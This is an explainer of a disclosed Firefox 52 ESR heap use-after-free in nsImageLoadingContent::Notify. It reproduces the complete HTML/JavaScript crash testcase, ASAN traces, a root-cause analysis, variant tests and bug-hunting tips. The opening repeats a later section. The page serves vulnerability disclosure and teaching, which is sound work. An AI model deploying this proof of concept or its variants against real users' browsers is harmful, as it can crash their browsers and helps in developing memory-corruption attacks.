nsImageLoadingContent keeps a list of observers and hands out heap-allocated entries from AddObserver; RemoveObserver deletes them. The image request proxy and the progress tracker hold pointers to those observers and call Notify on them when decode progress or completion is reported. In this testcase the image frame is destroyed (and its observer removed and freed) while a notification for the same request is still pending or in flight, so Notify dereferences the freed entry. The report does not state which specific ordering guarantee was missing; the trace only shows that removal and notification are not synchronised for this sequence of frame reconstruction and image document title updates.

Impact

A page can crash the browser process by loading a crafted HTML file alongside a PNG. The report demonstrates a denial of service against the ASAN build; it does not show code execution or any other consequence, and the freed region is small (16 bytes) with the read at offset 8. Whether the same sequence is reliably reachable in a non-ASAN build is not discussed.

Fix

What the trace implies is that the observer lifetime needs to be tied to the request: either the notification path must tolerate an observer that has been removed, or removal must be deferred until any pending notification has completed.

Variants to test

  1. Replace 1px.png with a larger or slower-decoding image and vary the setTimeout delay before location.reload(). A positive result is the same nsImageLoadingContent::Notify use-after-free in ASAN output.
  2. Change the injected rule from *{ display: ruby-text-container;} to other display values that force frame reconstruction. A positive result is the same free in nsImageFrame::DestroyFrom followed by a read in Notify.
  3. Move the src change to a different element type that also uses nsImageLoadingContent. A positive result is the same crash with the allocation stack pointing at that element's frame init.
  4. Drop the second popup and keep only the image document plus the style injection. A positive result is the crash without the data:text/html window, which would show the second window is not essential.

Hunting notes

This kind of bug hides in code that registers callbacks on asynchronous resources (image decoders, media, network requests) and frees the registration during layout or DOM teardown. During recon, look for components where a frame or element owns an observer entry and where frame reconstruction can run between registration and notification. The report provides a testcase and an ASAN report with allocation, free and fault stacks.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher found a way to make Firefox crash. The crash happens when the browser is loading a picture and, at the same moment, the page is busy rearranging itself. Firefox keeps a small note that says "tell this part of the page when the picture has finished loading". The page's rearranging throws that note away, but the picture-loading code still tries to use it afterwards. Reading a note that has already been thrown away is a bug, and in this case it makes the browser stop working.

This kind of bug is called a use-after-free. Imagine you write a friend's phone number on a sticky note, then throw the note in the bin. Later you pick the note back out of the bin and dial the number, but by then the paper has been reused for a shopping list. You are reading something that is no longer what you think it is. In a computer, the "note" is a small block of memory, and the program reads it after the memory has been handed back to the system for reuse.

The report was filed in Mozilla's bug tracker, which is the public system where people report problems in Firefox and other Mozilla software. It was disclosed on 29 June 2017. The affected part of Firefox is the code that handles the DOM (the tree of elements that makes up a web page) and HTML, specifically a class called nsImageLoadingContent.

A class here just means a named bundle of code in Firefox. nsImageLoadingContent is the code that lets an element that shows a picture (an <img> tag, for example) ask to be told when the picture is loading, has loaded, has been decoded, or has changed size. The element "subscribes" to updates about the picture, and Firefox calls it back each time something happens. That subscription is the sticky note from the comparison.

The report contains two things: a small HTML file that triggers the crash, and the output of a special tool called AddressSanitizer (often shortened to ASAN). AddressSanitizer is a debugging tool built into a special test version of Firefox. It watches memory and shouts loudly, with a detailed report, the moment a program touches memory it should not. Normal Firefox builds do not have this tool, so the crash was found in a special build made for testing.

There is no discussion of a fix in the report, so this article covers how the crash is triggered and what the ASAN output tells us about the memory being used after it was freed.

Setup

The researcher used an AddressSanitizer build of Firefox 52.2.1 ESR, BuildID 20170621154102. ESR stands for Extended Support Release: a version of Firefox that Mozilla keeps patched for a long time, often used by organisations that prefer stability over the newest features. The exact build is identified by a BuildID, 20170621154102, which is a timestamp-like string that tells Mozilla exactly which compiled build was used.

The testcase is a single HTML file. It must sit in the same folder as a PNG image file named 1px.png. The report notes that any other PNG file would work too, so the picture itself is not special; it just has to be a real image that Firefox can load.

No accounts, browser extensions or special settings are mentioned. The only precondition is that the page is opened from a place where 1px.png can be found, so that Firefox can create an image document and start loading the picture.

Finding it

The crash appears when the testcase page is loaded. The report presents it as a reproducible ASAN abort, meaning the test build of Firefox deliberately stops itself when the bad memory access happens, rather than as the result of someone reasoning about the code by hand. So the interesting part is reading the trace, which is the list of function calls ASAN prints when it catches the problem.

The faulting read, the moment the program touches memory it should not, is inside a function called nsImageLoadingContent::Notify, at line 155 of the file nsImageLoadingContent.cpp. The memory that was read had been freed earlier in the same thread by a function called nsImageLoadingContent::RemoveObserver, which was called from nsImageFrame::DestroyFrom. A thread is one line of execution inside a program; Firefox does many things at once, and the trace says all of this happened on the main thread, labelled T0.

In plain terms: when part of the page was being torn down, Firefox removed and freed the subscription entry. Later, a notification about the image still walked the list of subscriptions and called into the entry that had already been freed.

Exploitation

Step 1: load the testcase

When the page finishes loading, the browser runs the start() function. It creates an iframe (a small web page embedded inside the current page), adds it to the page, opens 1px.png in a popup window named popup46, attaches fun0 as the handler that runs when that popup finishes loading, and keeps a reference to the iframe's content document in a variable called o2.

HTML
<script>
function start() {
	o0=document.createElement('iframe');
	document.body.appendChild(o0);
	o1=open('1px.png','popup46','height=16');
	o1.onload=fun0;
	o2=o0.contentDocument;
}

Line by line:

  1. o0=document.createElement('iframe'); creates a new iframe element in memory. It is not on the page yet.
  2. document.body.appendChild(o0); puts the iframe into the page body, so it becomes part of the live page.
  3. o1=open('1px.png','popup46','height=16'); opens a new browser window, gives it the name popup46, sets its height to 16 pixels, and loads the picture 1px.png in it. The result, a handle to that window, is stored in o1.
  4. o1.onload=fun0; says: when that popup has finished loading, run the function fun0.
  5. o2=o0.contentDocument; stores the iframe's internal document, the page inside the frame, in o2 so later code can create elements inside it.

Why open the picture directly in a window? When Firefox is asked to display an image file on its own, rather than inside a normal web page, it uses a special built-in page called an image document. That code path later appears in the free stack, the part of the ASAN report that shows where the memory was released: ImageDocument::Notify, ImageDocument::OnSizeAvailable and ImageDocument::UpdateTitleAndCharset. In other words, opening the PNG directly is what puts the image document machinery in play.

Step 2: open a second window and collect elements

When the image popup finishes loading, fun0 runs. It opens a second window showing a tiny HTML page, data:text/html,<div>, named popup68, attaches fun1 to that window's load event, stores the event target in o13, and picks the ninth element (counting from zero, so index 8) from that target's descendants into o19.

JavaScript
function fun0(e) {
        o10=window.open('data:text/html,<div>','popup68','left=74');
        o10.onload=fun1;
	o13=e.target;
	tmpall=o13.getElementsByTagName('*');
	o19=tmpall[8];
}

Line by line:

  1. o10=window.open('data:text/html,<div>','popup68','left=74'); opens another window. The address data:text/html,<div> is a data URL: instead of fetching a page from a server, the browser builds the page directly from the text after the comma. Here the page is just an empty <div>. The window is named popup68 and positioned 74 pixels from the left.
  2. o10.onload=fun1; says: when this second window has loaded, run fun1.
  3. o13=e.target; stores the element that fired the load event, which is the image document, in o13.
  4. tmpall=o13.getElementsByTagName('*'); collects every element inside that document into a list called tmpall. The * means "any tag name".
  5. o19=tmpall[8]; picks the ninth element in that list and stores it in o19.

o19 is the element whose src (the address of its picture) is changed later.

Step 3: build SVG filters across documents and restyle

fun1 runs when the second popup loads. It creates SVG elements in different documents, nests them, injects a style rule, changes the image source, and schedules a reload. SVG stands for Scalable Vector Graphics: a way to describe drawings with markup, and it includes filter effects such as blending and merging layers.

JavaScript
function fun1(e) {
	o21=e.target;
	o71=o2.createElementNS('http://www.w3.org/2000/svg','filter');
	o92=o2.createElementNS('http://www.w3.org/2000/svg','feBlend');
	o71.appendChild(o92);
	tmpall[0].appendChild(o71);
	o111=o21.createElementNS('http://www.w3.org/2000/svg','filter');
	o145=o21.createElementNS('http://www.w3.org/2000/svg','feMerge');
	o111.appendChild(o145);
	o71.insertBefore(o111,o92);
	o207=o13.createElementNS('http://www.w3.org/1999/xhtml','style');
	o208=o13.createTextNode("*{ display: ruby-text-container;}");
	o207.appendChild(o208);
	o145.appendChild(o207);
	o19.setAttribute('src', '1px.png?1');
	setTimeout("location.reload()",100);
}
</script>
<body onload="start()"></body>

Line by line:

  1. o21=e.target; stores the element that fired this load event, the second popup's document, in o21.
  2. o71=o2.createElementNS('http://www.w3.org/2000/svg','filter'); creates an SVG filter element inside the iframe's document (o2). createElementNS creates an element in a named namespace; the long URL is the standard identifier for SVG.
  3. o92=o2.createElementNS('http://www.w3.org/2000/svg','feBlend'); creates an SVG feBlend element, a filter primitive that blends two layers, in the same document.
  4. o71.appendChild(o92); puts the feBlend inside the filter.
  5. tmpall[0].appendChild(o71); attaches the filter to the first element collected earlier.
  6. o111=o21.createElementNS('http://www.w3.org/2000/svg','filter'); creates a second filter, this time in the second popup's document (o21).
  7. o145=o21.createElementNS('http://www.w3.org/2000/svg','feMerge'); creates an feMerge element, a filter primitive that merges layers, in the same document.
  8. o111.appendChild(o145); puts the feMerge inside the second filter.
  9. o71.insertBefore(o111,o92); inserts the second filter into the first filter, just before the feBlend. This mixes elements that belong to different documents.
  10. o207=o13.createElementNS('http://www.w3.org/1999/xhtml','style'); creates a style element in the image document (o13). The namespace URL here is the standard one for ordinary HTML.
  11. o208=o13.createTextNode("*{ display: ruby-text-container;}"); creates a text node containing a CSS rule. CSS is the language that describes how a page looks. The rule *{ display: ruby-text-container;} applies to every element (*) and sets its display type to ruby-text-container, a layout mode normally used for small annotations above or beside text in East Asian writing.
  12. o207.appendChild(o208); puts the text inside the style element, so the rule becomes active.
  13. o145.appendChild(o207); attaches the style element inside the feMerge.
  14. o19.setAttribute('src', '1px.png?1'); changes the picture address of the element picked in step 2. The ?1 is a query string, a harmless extra part of the address that makes it count as a different URL, so Firefox starts a fresh image load instead of reusing the old one.
  15. setTimeout("location.reload()",100); schedules the page to reload itself after 100 milliseconds.
  16. </script> closes the script block, and <body onload="start()"> makes the body run start() as soon as the page has loaded.

The testcase injects a style rule, changes the image source and schedules a reload after 100 ms. The *{ display: ruby-text-container;} rule forces Firefox to throw away and rebuild the layout frames, the internal boxes that represent elements on screen. The image element gets a new request because its address changed. The reload tears the document down again. The ASAN trace shows the free happening inside nsCSSFrameConstructor::RecreateFramesForContent and MaybeRecreateContainerForFrameRemoval, reached from PresShell::ContentRemoved and ultimately from nsDocument::SetTitle via nsContentUtils::SetNodeTextContent. That last chain is the image document updating its title when the image size becomes available, which is normal behaviour for an image document but here happens in the middle of the churn.

Step 4: observe the crash

The ASAN build aborts with a heap-use-after-free. The faulting access is a read of size 8 bytes at nsImageLoadingContent.cpp:155:24 inside nsImageLoadingContent::Notify. It is reached from imgRequestProxy::Notify and the progress tracker when decoding completes. Decoding is the step where Firefox turns the compressed image file into pixels it can draw.

Text
==2364==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000457ab8 at pc 0x7f1895b2c8e4 bp 0x7ffd0904f1d0 sp 0x7ffd0904f1c8
READ of size 8 at 0x602000457ab8 thread T0
    #0 0x7f1895b2c8e3 in nsImageLoadingContent::Notify(imgIRequest*, int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:155:24
    #1 0x7f189583d1be in imgRequestProxy::Notify(int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/image/imgRequestProxy.cpp:790:3
    #2 0x7f18957f7ee9 in operator() /home/worker/workspace/build/src/image/ProgressTracker.cpp:315:42

How to read this:

  • The first line is ASAN announcing the problem: a heap-use-after-free at a particular memory address. The pc, bp and sp values are processor register values at the moment of the fault, useful to a developer but not needed to understand the bug.
  • READ of size 8 means the program tried to read 8 bytes from that address. On a 64-bit system, 8 bytes is the size of a pointer, a memory address stored in a variable.
  • thread T0 says this happened on the main thread.
  • The numbered lines, called stack frames, show the chain of function calls, newest first. Frame #0 is where the bad read happened: nsImageLoadingContent::Notify. Frame #1 is the caller, imgRequestProxy::Notify, the object that represents an image request. Frame #2 is the progress tracker, the part of the image code that reports how far decoding has got.

The free stack shows the same 16-byte region being released by nsImageLoadingContent::RemoveObserver from nsImageFrame::DestroyFrom, during frame destruction triggered by the style change and document teardown:

Text
0x602000457ab8 is located 8 bytes inside of 16-byte region [0x602000457ab0,0x602000457ac0)
freed by thread T0 here:
    #0 0x4b21db in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f1895b30123 in operator delete /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:218:12
    #2 0x7f1895b30123 in nsImageLoadingContent::RemoveObserver(imgINotificationObserver*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:432
    #3 0x7f189a1813b2 in nsImageFrame::DestroyFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsImageFrame.cpp:213:7

How to read this:

  • The first line says the bad address sits 8 bytes inside a 16-byte block of memory. So the block is small, and the read happened halfway through it.
  • freed by thread T0 here introduces the stack that shows where the block was given back.
  • Frame #0 is the low-level memory free routine.
  • Frame #1 is the C++ operator delete, the language's way of releasing memory.
  • Frame #2 is nsImageLoadingContent::RemoveObserver, the function that removes a subscription.
  • Frame #3 is nsImageFrame::DestroyFrom, the function that tears down the layout frame for an image.

The allocation stack confirms the region was created by nsImageLoadingContent::AddObserver from nsImageFrame::Init, so the freed object is the subscription entry that the image frame registered when it was constructed. The summary line names the same function and line as the faulting frame:

Text
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:155:24 in nsImageLoadingContent::Notify(imgIRequest*, int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*)

Root cause

nsImageLoadingContent keeps a list of subscriptions, called observers, and hands out heap-allocated entries from AddObserver. Heap is the area of memory a program uses for things it creates while running, as opposed to the stack, which is for short-lived local data. RemoveObserver deletes those entries. The image request proxy and the progress tracker hold pointers to those observers and call Notify on them when decode progress or completion is reported.

In this testcase the image frame is destroyed, and its observer removed and freed, while a notification for the same request is still pending or in flight. So Notify reads through the freed entry. The report does not state which specific ordering guarantee was missing; the trace only shows that removal and notification are not synchronised for this sequence of frame reconstruction and image document title updates.

Impact

A web page can crash the browser process by loading a crafted HTML file alongside a PNG. The report demonstrates a denial of service: the browser stops working, which is a problem for the person using it but does not give an attacker control of the machine. It does not show code execution or any other consequence. The freed region is small, 16 bytes, with the read at offset 8. Whether the same sequence is reliably reachable in a normal, non-ASAN build is not discussed.

Fix

What the trace implies is that the observer's lifetime needs to be tied to the request: either the notification path must tolerate an observer that has been removed, or removal must be deferred until any pending notification has completed.

Variants to test

  1. Replace 1px.png with a larger or slower-decoding image and vary the setTimeout delay before location.reload(). A positive result is the same nsImageLoadingContent::Notify use-after-free in ASAN output.
  2. Change the injected rule from *{ display: ruby-text-container;} to other display values that force frame reconstruction. A positive result is the same free in nsImageFrame::DestroyFrom followed by a read in Notify.
  3. Move the src change to a different element type that also uses nsImageLoadingContent. A positive result is the same crash with the allocation stack pointing at that element's frame init.
  4. Drop the second popup and keep only the image document plus the style injection. A positive result is the crash without the data:text/html window, which would show the second window is not essential.

Hunting notes

This kind of bug hides in code that registers callbacks on asynchronous resources, such as image decoders, media playback and network requests, and frees the registration during layout or DOM teardown. Asynchronous means the work finishes later, not immediately, so the code that started it has to be told when it is done. During recon, look for components where a frame or element owns an observer entry and where frame reconstruction can run between registration and notification. The report provides a testcase and an ASAN report with allocation, free and fault stacks.

Glossary

  • AddressSanitizer (ASAN): a debugging tool built into special test builds of programs that detects and reports invalid memory access, such as reading memory after it has been freed.
  • Asynchronous: work that finishes later rather than immediately, so the program is notified when it completes.
  • BuildID: a string that identifies exactly which compiled build of Firefox was used.
  • Class: a named bundle of code in a program.
  • CSS: the language that describes how a web page looks.
  • Data URL: an address that contains the page content itself instead of pointing to a server.
  • Denial of service: a problem that stops a program or service from working, without giving the attacker control of it.
  • DOM: the tree of elements that makes up a web page.
  • ESR (Extended Support Release): a Firefox version kept patched for a long time for stability.
  • Frame (layout frame): an internal box the browser builds to represent an element on screen.
  • Heap: the area of memory a program uses for things it creates while running.
  • Heap-use-after-free: reading or writing memory after it has been released back to the system.
  • HTML: the language that describes the structure of a web page.
  • Iframe: a web page embedded inside another web page.
  • Image document: the special built-in page Firefox uses when an image file is opened directly.
  • Namespace: an identifier that says which standard a markup element belongs to, such as SVG or HTML.
  • Observer: a subscription entry that asks to be told when something, such as an image load, changes.
  • Pointer: a value that holds the memory address of something.
  • Query string: the extra part of a URL after a question mark, often used to pass data.
  • Stack frame: one entry in the list of function calls a program is currently inside.
  • SVG: a markup language for describing drawings, including filter effects.
  • Thread: one line of execution inside a program.
  • Use-after-free: a bug where a program uses memory after it has been freed.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.